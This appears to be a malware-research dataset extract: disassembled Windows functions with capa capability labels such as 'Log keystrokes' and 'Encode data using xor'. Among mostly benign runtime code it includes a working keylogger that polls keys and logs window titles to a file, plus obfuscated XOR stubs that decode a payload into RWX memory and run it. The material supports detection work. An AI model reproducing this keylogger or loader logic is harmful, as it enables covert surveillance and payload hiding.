joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bb36d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3338
cmp edx, dword [eax]
je 0x4bb38f
add eax, 8
inc ecx
cmp eax, 0x4c33c8
jl 0x4bb380
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3338]
jne 0x4bb4bd
mov eax, dword [0x4c7cbc]
cmp eax, 1
je 0x4bb497
test eax, eax
jne 0x4bb3c0
cmp dword [0x4c3264], 1
je 0x4bb497
cmp edx, 0xfc
je 0x4bb4bd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb3f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bbd50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc1e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb43a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc1e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c088c
push edi
call fcn.004be0b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bbd50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbd60
lea eax, [ebp - 0xa0]
push 0x4c086c
push eax
call fcn.004bbd60
push dword [esi + 0x4c333c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbd60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004be024
add esp, 0x2c
pop edi
jmp 0x4bb4bd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c333c]
push 0
push eax
push dword [esi]
call fcn.004bc1e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x25815dce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x25815ddd
pop dword [ebp - 0x30]
mov eax, 0x25815ddd
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x7e3fb335
add dword [ebp - 0x40], 0xd0129216
mov dword [ebp - 0x3c], 0x35badb59
sub dword [ebp - 0x3c], 0x3878f14
mov dword [ebp - 0x38], 0x2abe9e56
sub dword [ebp - 0x38], 0xde725a28
mov dword [ebp - 0x34], 0xf9d5e611
add dword [ebp - 0x34], 0x62a19ef
lea eax, [ebp - 0x40]
push eax
mov eax, 0xd95f23f7
sub eax, 0xb3dd53b3
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x60f383e1
add dword [ebp - 0x40], 0x137ee575
mov dword [ebp - 0x3c], 0x8861b3d
add dword [ebp - 0x3c], 0x38e64638
mov dword [ebp - 0x38], 0xb079d835
sub dword [ebp - 0x38], 0x4d0a6bc9
mov dword [ebp - 0x34], 0xc56b54da
add dword [ebp - 0x34], 0x3a94ab26
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3d125
push 0
call eax
mov ecx, 0x4f616553
add ecx, 0xb09ee4d4
xor edi, edi
add edi, eax
mov esi, 0x1d6e23fd
sub esi, 0xf7eb8dfd
add esi, dword [ebp - 0x30]
mov ebx, 0x19db829e
add dword [ebp - 0x18], 0x9db493cc
mov edx, dword [esi]
add dword [ebp - 0x24], 0x7e8f3470
sub edx, ebx
xor dword [ebp - 0xc], esi
mov dword [edi], edx
xor dword [ebp - 0x10], eax
add edi, 4
add esi, 0x411d723d
add esi, 0xbee28dc7
loop 0x25815ef1
add eax, 0x13fdb073
sub eax, 0x13fc9504
xor ebx, ebx
add ebx, eax
add eax, 0xd8f534eb
sub eax, 0xd8f534e6
mov ecx, 0x878ad10c
add ecx, 0x9df52ef4
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000f197
pop dword [ebp - 8]
mov eax, 0xeccc3e21
add eax, 0x2334b376
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x36661
push 0
mov eax, 0x111daba8
sub eax, 0x11c6b44
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x3d46
xor edi, edi
add edi, eax
mov esi, 0xe9e29f72
add esi, 0x261ee68e
add esi, dword [ebp - 8]
mov ebx, 0xd604bf6c
mov dword [ebp - 4], 0x80795a07
mov edx, dword [esi]
sub dword [ebp - 4], 0xa11a63d3
xor edx, ebx
sub dword [ebp - 4], ecx
mov dword [edi], edx
add dword [ebp - 4], ebx
add edi, 0x513f4ee8
sub edi, 0x513f4ee4
add esi, 0x292ee2be
add esi, 0xd6d11d46
loop 0x1000f1ec
add eax, 0xef8bb7ea
sub eax, 0xef8acfff
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa61d9f4f
sub ecx, 0x961d9f4f
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x432130
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x432144
call fcn.004320b0
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x432137
pop esi
cmp ebx, 0x2d
jne 0x43215e
mov dword [0x2bdf6e8], 0xa62e7790
mov dword [0x2bdf6ec], 0xffffffff
ret

Function at 0x432160
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x438200]
push ebx
mov ebx, dword [0x2bdf6dc]
push edi
mov edi, dword [0x2bdd25c]
call fcn.00432100
cmp dword [0x2bdf6dc], 0x2f
jne 0x4321cd
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00432130
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e8
add esp, 0x24
ret
Function at 0x401470
Capabilities:
Get keyboard layout
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x144
mov dword [esp], 0
call sym._GetKeyboardLayout_4
sub esp, 4
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x110]
mov eax, 0
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x11a], 0
mov dword [ebp - 0x116], 0
mov word [ebp - 0x112], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._MapVirtualKeyA_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 5
lea ecx, [ebp - 0x11a]
mov dword [esp + 0xc], ecx
lea ecx, [ebp - 0x110]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ToUnicodeEx_28
sub esp, 0x1c
movzx eax, word [ebp - 0x11a]
mov edi, dword [ebp - 4]
leave
ret

Function at 0x401522
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
jmp 0x4015f5
call sym._GetForegroundWindow_0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4015e6
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetWindowTextLengthW_4
sub esp, 4
add eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, eax
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4015e6
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetWindowTextW_12
sub esp, 0xc
cmp dword [ebp - 0xc], 0
je 0x4015a8
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._wcscmp
test eax, eax
je 0x4015db
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._ls__n
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.__wcsdup
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x3e8
call sym._Sleep_4
sub esp, 4
mov eax, dword [0x408020]
test eax, eax
je 0x401534
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
nop
leave
ret
Function at 0x401610
Capabilities:
Get keyboard layout
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0
call sym._GetKeyboardLayout_4
sub esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x19]
mov dword [esp], eax
call sym._GetKeyboardLayoutNameA_4
sub esp, 4
test eax, eax
je 0x401664
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
je 0x401664
lea eax, [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Keyboard_Layout:__s_n
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x401687
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x30
mov dword [esp + 4], 1
mov dword [esp], str.Unable_to_retrieve_keyboard_layout_information._n
call sym._fwrite
nop
leave
ret
Function at 0x401733
Capabilities:
Create thread
Log keystrokes via polling

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [esp], 0x40619c
call sym._puts
mov dword [esp + 4], 0x4061a0
mov dword [esp], str.filetext.txt
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40178a
mov dword [esp], str.Error_with_file_handler
call sym._printf
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._write_keyboard_into_file
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._write_foregroundwindow_into_file
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x18], eax
jmp 0x4018b4
mov dword [ebp - 0xc], 0
jmp 0x4018a7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
mov word [ebp - 0x1a], ax
movsx eax, word [ebp - 0x1a]
and eax, 1
test eax, eax
je 0x4018a3
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._convert_vk_to_char
mov byte [ebp - 0xd], al
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
js 0x401839
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 1
test eax, eax
je 0x401875
cmp byte [ebp - 0xd], 0x60
jle 0x401851
cmp byte [ebp - 0xd], 0x7a
jg 0x401851
movzx eax, byte [ebp - 0xd]
sub eax, 0x20
mov byte [ebp - 0xd], al
jmp 0x401860
movsx eax, byte [ebp - 0xd]
mov dword [esp], eax
call sym._handle_special_characters
mov byte [ebp - 0xd], al
movsx eax, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x401896
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._convert_vk_to_char
mov byte [ebp - 0x1b], al
movsx eax, byte [ebp - 0x1b]
mov edx, dword [ebp - 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
cmp byte [ebp - 0xd], 0x1b
jne 0x4018a3
call sym._set_killswitch
jmp 0x4018b4
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfd
jle 0x4017df
mov eax, dword [0x408020]
test eax, eax
je 0x4017d3
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401f40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sym._EnterCriticalSection_4
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x401f8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401f84
test esi, esi
je 0x401f84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f60
mov dword [esp], 0x408048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402170
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4021c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402298
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021fe
cmp eax, 4
jne 0x402220
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40220e
cmp edx, 4
je 0x40220e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402170
Function at 0x4010b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f9e32
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
mov eax, dword [0x5344a8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x38], ebx
mov ecx, esi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
call dword [sym.imp.LibDui.dll_public:_void___thiscall_DuiLib::CDuiString::constructor_void_]
mov dword [esp + 0x38], ebx
lea ecx, [esp + 0x10]
mov dword [esp + 8], 1
call fcn.0046df70
mov dword [esp + 0x38], 1
cmp dword [eax + 0x1c], 8
jb 0x401112
mov eax, dword [eax + 8]
jmp 0x401115
add eax, 8
push eax
push str._sdata
push esi
call dword [sym.imp.LibDui.dll_public:_int___cdecl_DuiLib::CDuiString::Format_wchar_t_const__]
add esp, 0xc
mov byte [esp + 0x38], bl
cmp dword [esp + 0x2c], 8
jb 0x40113d
mov eax, dword [esp + 0x18]
push eax
call fcn.00479ac0
add esp, 4
xor ecx, ecx
mov word [esp + 0x18], cx
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebx
call fcn.00401050
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop ebx
add esp, 0x34
ret
Function at 0x404a60
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x4ff22a
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5344a8]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov dword [esp + 0x14], 0
lea esi, [edi + 0xd1c]
lea eax, [esp + 0x1c]
mov dword [edi + 0xf04], 0
call fcn.00404af0
lea eax, [esp + 8]
push eax
push 0
push edi
push 0x404c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x18], 0xffffffff
call fcn.00404680
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 0x1a4

Function at 0x404cd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 0xc]
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0xd18]
cmp eax, 1
jne 0x404d3a
push esi
call fcn.00405740
mov eax, dword [ebp + 0x10]
push eax
push 1
push 0xbb9
mov ecx, edi
call dword [sym.imp.LibDui.dll_public:_struct_HWND______thiscall_DuiLib::CWindowWnd::GetHWND_void_const]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
push 0x4050d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xf04], 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x404d4c
call fcn.004049f0
mov edx, dword [ebp + 0x10]
push edx
push 2
jmp 0x404d67
cmp eax, 3
jne 0x404d5e
call fcn.004049f0
mov eax, dword [ebp + 0x10]
push eax
push 3
jmp 0x404d67
test eax, eax
jne 0x404d7b
mov ecx, dword [ebp + 0x10]
push ecx
push eax
push 0xbb9
mov ecx, edi
call dword [sym.imp.LibDui.dll_public:_struct_HWND______thiscall_DuiLib::CWindowWnd::GetHWND_void_const]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405b80
Capabilities:
Get routing table

Disassembly:
sub esp, 8
push edi
push 1
lea eax, [esp + 8]
xor edi, edi
push eax
push edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x405c3c
mov ecx, dword [esp + 4]
push ebx
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 1
lea edx, [esp + 0xc]
mov ebx, eax
push edx
push ebx
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x405c32
push esi
xor esi, esi
cmp dword [ebx], edi
jbe 0x405c20
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_inet_addr]
lea edi, [ebx + 8]
mov eax, dword [esp + 0x1c]
push eax
call ebp
cmp dword [edi - 4], eax
jne 0x405bed
mov ecx, dword [esp + 0x20]
push ecx
call ebp
cmp dword [edi], eax
je 0x405bf7
inc esi
add edi, 0x38
cmp esi, dword [ebx]
jb 0x405bd6
jmp 0x405c1b
push 0x38
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea edx, [esi*8]
sub edx, esi
lea esi, [ebx + edx*8 + 4]
mov ecx, 0xe
mov edi, eax
mov dword [esp + 0x14], eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x14]
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop ebx
mov eax, edi
pop edi
add esp, 8
ret 8
pop ebx
mov eax, edi
pop edi
add esp, 8
ret 8
mov eax, edi
pop edi
add esp, 8
ret 8

Function at 0x405c50
Capabilities:
Get routing table

Disassembly:
sub esp, 8
push esi
push 1
lea eax, [esp + 8]
xor esi, esi
push eax
push esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x405d2b
mov ecx, dword [esp + 4]
push ebx
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 1
lea edx, [esp + 0xc]
mov ebx, eax
push edx
push ebx
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x405d21
push edi
xor edi, edi
cmp dword [ebx], esi
jbe 0x405d0f
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_inet_addr]
lea esi, [ebx + 8]
lea ebx, [ebx]
push str.255.255.255.255
call ebp
cmp dword [esi - 4], eax
jne 0x405cdc
push str.255.255.255.255
call ebp
cmp dword [esi], eax
jne 0x405cdc
mov eax, dword [esp + 0x1c]
push eax
call ebp
cmp dword [esi + 8], eax
jne 0x405cdc
mov ecx, dword [esp + 0x20]
cmp dword [esi + 0xc], ecx
je 0x405ce6
inc edi
add esi, 0x38
cmp edi, dword [ebx]
jb 0x405cb0
jmp 0x405d0a
push 0x38
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea edx, [edi*8]
sub edx, edi
lea esi, [ebx + edx*8 + 4]
mov ecx, 0xe
mov edi, eax
mov dword [esp + 0x14], eax
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x14]
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop ebx
mov eax, esi
pop esi
add esp, 8
ret 8
pop ebx
mov eax, esi
pop esi
add esp, 8
ret 8
mov eax, esi
pop esi
add esp, 8
ret 8
Function at 0x405d40
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x19c
mov eax, dword [0x5344a8]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
push edi
lea eax, [esp + 8]
push eax
push 0x101
mov esi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x405da2
test esi, esi
jne 0x405d87
push 0x43c
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.invalid_null_pointer
call fcn.004773e0
add esp, 0xc
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405d90
sub eax, edx
push eax
push esi
mov ecx, ebx
call fcn.00402140
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x405de2
test esi, esi
jne 0x405dca
push 0x43c
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.invalid_null_pointer
call fcn.004773e0
add esp, 0xc
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405dd0
sub eax, edx
push eax
push esi
mov ecx, ebx
call fcn.00402140
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
test esi, esi
jne 0x405e0d
push 0x43c
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.invalid_null_pointer
call fcn.004773e0
add esp, 0xc
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405e12
sub eax, edx
push eax
push esi
mov ecx, ebx
call fcn.00402140
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x19c]
pop edi
pop esi
xor ecx, esp
call fcn.004797c0
add esp, 0x19c
ret
Function at 0x4084f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4f511b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5344a8]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.004786f0
push 0x1b
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCinclude_streambuf
mov dword [esp + 0x24], 0
call fcn.004772c0
push eax
push 4
call fcn.004771d0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x40857b
call fcn.00477bb0
mov dword [edi], eax
call fcn.00477980
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00477370
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x408570
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.004773b0
jmp 0x40857d
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x409f70
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4f4bd3
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x5344a8]
xor eax, esp
mov dword [esp + 0x210], eax
mov eax, dword [0x5344a8]
xor eax, esp
push eax
lea eax, [esp + 0x218]
mov dword fs:[0], eax
push 0
push 0x1c
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x22c], 0
push 0
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ecx, esi
call dword [sym.imp.LibDui.dll_public:_void___thiscall_DuiLib::CDuiString::constructor_void_]
lea ecx, [esp + 0xc]
push ecx
push 0x5125e4
mov dword [esp + 0x228], 0
push esi
mov dword [esp + 0x10], 1
call dword [sym.imp.LibDui.dll_public:_int___cdecl_DuiLib::CDuiString::Format_wchar_t_const__]
add esp, 0xc
mov eax, esi
mov ecx, dword [esp + 0x218]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004797c0
add esp, 0x220
ret
Function at 0x411d70
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4fe4b0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5344a8]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
and dword [esp + 0x14], 0xfffffe00
mov dword [esp + 0x18], 0
push 1
push 1
lea eax, [esp + 0x14]
push eax
sub esp, 0x20
mov dword [esp + 0x54], 1
mov ecx, esp
mov dword [esp + 0x30], esp
push 0x511188
call fcn.00401f10
sub esp, 0x20
mov ecx, esp
mov dword [esp + 0x54], esp
push str.outline
mov byte [esp + 0x78], 2
call fcn.00401f10
mov byte [esp + 0x74], 1
call fcn.004498c0
add esp, 0x4c
lea eax, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.0045ed50
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
add esp, 0x28
ret